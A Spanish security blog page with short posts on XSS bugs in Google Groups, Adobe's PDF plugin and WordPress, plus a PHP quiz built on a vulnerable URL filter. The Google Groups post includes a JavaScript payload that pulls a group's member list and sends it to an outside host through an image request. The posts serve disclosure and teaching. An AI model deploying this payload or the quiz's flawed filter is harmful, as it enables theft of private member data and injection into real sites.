Categories
Google JavaScript Seguridad XSS

Otro bug, de la mano de Google

Este año recién empieza y ya se han reportado múltiples fallos de seguridad en diversas aplicaciones, esta vez Michael Schwarz comenta sobre un bug en Google Groups, que permite insertar javascript en el mensaje que se envía al administrador del grupo al momento de suscribirse.

Google groups

En el mismo artículo, pone código de prueba que permite obtener la lista de miembros de un grupo X.

javascript:

<script type="text/javascript">
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET", "/group/[GROUPNAME]/manage_members/MemberList.csv?Action.Export=Export+member+list", true);
xmlhttp.onreadystatechange = function () {
    if (xmlhttp.readyState == 4) {
        var img = document.createElement("img");
        img.src = "http://yourdomain/?" + escape(xmlhttp.responseText);
        document.body.appendChild(img);
    }
};
xmlhttp.send(null);
</script>
Categories
Seguridad XSS

XSS a través del plugin para PDF de Adobe

Hace algunas horas, Stefan Esser comentaba un bug, descubierto por Stefano Di Paola, en el plugin para PDF de Adobe, que permite realizar ataques XSS a cualquier sitio que contenga documentos PDF.

Ejm: http://www.google.com/

Sugieren deshabilitar este plugin para evitar problemas.

Categories
JavaScript Quiz Seguridad Web WordPress XSS

Filtro de datos – Solución

El código mostrado en el último quiz, en realidad es una función de WordPress que era vulnerable a XSS. Pongo la solución en una nueva entrada porque intentaré describir algunos de los errores que cometí al intentar explotar el bug mencionado en una entrada anterior.

Categories
Quiz Seguridad Web XSS

Filtro de datos

Volviendo a los quiz:

php:

<?php

function clean_url( $url ) {
        if ('' == $url) return $url;
        $url = preg_replace('|[^a-z0-9-~+_.?#=!&;,/:%]|i', '', $url);
        $strip = array('%0d', '%0a');
        $url = str_replace($strip, '', $url);
        $url = str_replace(';//', '://', $url);
        $url = (!strstr($url, '://')) ? 'http://'.$url : $url;
        $url = preg_replace('/&([^#])(?![a-z]{2,8};)/', '&1', $url);
        return $url;
}

$u = clean_url($_GET['u']);
echo '<a href="' . $u . '">' . $u . '</a>';

?>

¿Qué valor o valores debe tener la variable u para que el código mostrado sea vulnerable a XSS?

Categories
CSRF WordPress XSS

Cross Site Scripting (XSS) en WordPress

Nota: Este post ha sido escrito luego de reportar los fallos al equipo de desarrollo de WordPress.

Hoy acabo de reportar dos fallos de seguridad en WordPress que permiten realizar XSS a sitios que utilizen WordPress como plataforma para sus blogs.

El primer bug, que necesita la intervención de un usuario o administrador del blog, consiste en enviar una URL -especialmente preparada para evadir los filtros- a través del formulario de comentarios.

El segundo bug tiene que ver con los plugins, si bien es cierto que éstos pueden hacer prácticamente cualquier cosa una vez activados, existe la posibilidad de que un plugin -no activado- con una simple modificación de su metadata (nombre, autor, url, etc) pueda insertar HTML o javascript en la página destinada a listar/activar/desactivar los plugins.

El segundo bug, fue corregido en la versión de desarrollo.

Si bien es cierto que estos bugs no son muy graves y dependen más que todo del cuidado que tengamos nosotros, no está de más corregir estos errores en el código de WordPress para evitar problemas posteriores.

Nota 1: Si todavía no han parchado el bug que hace unos días comentaba Armonth, háganlo cuanto antes que ya se liberó un exploit que utiliza CSRF para hacer efectivo el ataque.